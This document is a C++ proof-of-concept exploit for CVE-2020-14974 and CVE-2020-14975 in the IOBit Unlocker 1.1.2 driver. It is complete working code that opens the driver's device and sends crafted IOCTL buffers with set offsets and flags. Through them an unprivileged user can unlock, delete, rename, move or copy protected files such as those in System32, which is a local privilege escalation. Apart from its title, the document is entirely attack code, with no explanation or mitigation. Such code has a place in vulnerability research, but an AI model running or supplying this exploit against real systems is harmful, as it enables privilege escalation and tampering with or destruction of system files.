CVE-2020-14974 & CVE-2020-14975 - IOBit Unlocker 1.1.2 - Local Privilege Escalation

// UnlockExploit.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <windows.h>
#include <stdio.h>

BOOL FileExists(LPCWSTR szPath)
{
	DWORD dwAttrib = GetFileAttributesW(szPath);
	printf("[i] File exists status: 0x%08x\n", dwAttrib);
	return (dwAttrib != INVALID_FILE_ATTRIBUTES);
}

void ReadStringFromSTDIN(wchar_t * buffer)
{
	printf("> ");
	fgetws((wchar_t*)buffer, 0x200, stdin);
	memset((LPVOID)((SIZE_T)buffer + (lstrlenW((LPCWSTR)buffer) * sizeof(WCHAR) - sizeof(WCHAR))), 0x00, sizeof(WCHAR)); //remove end of line character
}

int main(int argc, char* argv[]) {
	printf("[i] IOBit Unlocker Privilege Escalation PoC\n");

	//open the driver
	HANDLE hDriver = CreateFileW(L"\\\\.\\IOBitUnlockerDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver != INVALID_HANDLE_VALUE)
	{
		printf("[+] opened handle to the driver\n");

		DWORD input_buffer_size = 0x1000;
		DWORD output_buffer_size = 0x1000;
		//allocate input buffer
		LPVOID input_buffer = VirtualAlloc(NULL, (SIZE_T)input_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (input_buffer == NULL)
		{
			printf("[-] Unable to allocate memory for input buffer\n");
			ExitProcess(-1);
		}
		printf("[+] Allocated input memory buffer at: 0x%Ix\n", (UINT64)input_buffer);

		//allocate output buffer
		LPVOID output_buffer = VirtualAlloc(NULL, (SIZE_T)output_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (output_buffer == NULL)
		{
			printf("[-] Unable to allocate memory for output buffer\n");
			ExitProcess(-1);
		}
		printf("[+] Allocated output buffer memory at: 0x%Ix\n", (UINT64)output_buffer);

		// Clear memory area
		memset(input_buffer, 0x00, input_buffer_size); 
		memset(output_buffer, 0x00, output_buffer_size);

		printf("[i] Enter full path for the file to unlock. Eg: C:\\Windows\\System32\\cmd.exe\n");
		ReadStringFromSTDIN((wchar_t*)input_buffer);
		wprintf(L"Fileto be checked: %s\n", (wchar_t *)input_buffer);

		if (!FileExists((LPCWSTR)input_buffer)) {
			printf("[-] This file doesn't exists\n");
			ExitProcess(-1);
		}
		//print options
		printf("[+] File found!\n");
		printf("[i] Choose an option:\n");
		printf("1 - INFO\n");
		printf("2 - Unlock\n");
		printf("3 - Unlock & Delete\n");
		printf("4 - Unlock & Rename\n");
		printf("5 - Unlock & Move\n");
		printf("6 - Unlock & Copy\n");
		
		boolean valid = false;
		int option = 0;
		while (!valid)
		{
			printf("> ");
			int result = scanf_s("%d", &option);
			if (result == EOF) {
				printf("[-] Invalid input\n");
				continue;
			}
			if (result == 0) {
				while (fgetc(stdin) != '\n') // Read until a newline is found
					;
				printf("[-] Invalid input\n");
				continue;
			}
			
			if (option > 0 && option < 7)
			{
				valid = true;
				while (fgetc(stdin) != '\n') // Read until a newline is found, if we don't do this it will mess up code later
					;
			}
			else
			{
				printf("[-] Invalid number, enter something between 1 and 6\n");
			}
		}

		DWORD dwIoctl_info = 0x222128;
		DWORD dwIoctl_action = 0x222124;
		DWORD dwBytesOut = 0;
		switch (option)
		{
		case 1:
		{
			DeviceIoControl(hDriver, dwIoctl_info, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			wprintf(L"[i] File info: %s\n", (wchar_t*)output_buffer);
			break;
		}
		case 2:
		{
			((byte*)input_buffer)[0x424] = 0x3;
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		case 3:
		{
			((byte*)input_buffer)[0x420] = 0x1;
			((byte*)input_buffer)[0x424] = 0x3;
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		case 4: //this is not working id the user doesn't have rights to access the file
		{
			((byte*)input_buffer)[0x420] = 0x2;
			((byte*)input_buffer)[0x424] = 0x3;
			printf("[i] Enter new filename:\n");
			ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		case 5:
		{
			((byte*)input_buffer)[0x420] = 0x3;
			((byte*)input_buffer)[0x424] = 0x3;
			printf("[i] Enter new path (move operation):\n");
			ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		case 6:
		{
			((byte*)input_buffer)[0x420] = 0x4;
			((byte*)input_buffer)[0x424] = 0x3;
			printf("[i] Enter new path (copy operation):\n");
			ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
			DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
			break;
		}
		default:
			break;
		}
	}
	else {
		printf("[-] Couldn't open the driver\n");
		ExitProcess(-1);
	}
	CloseHandle(hDriver);
	ExitProcess(0);
}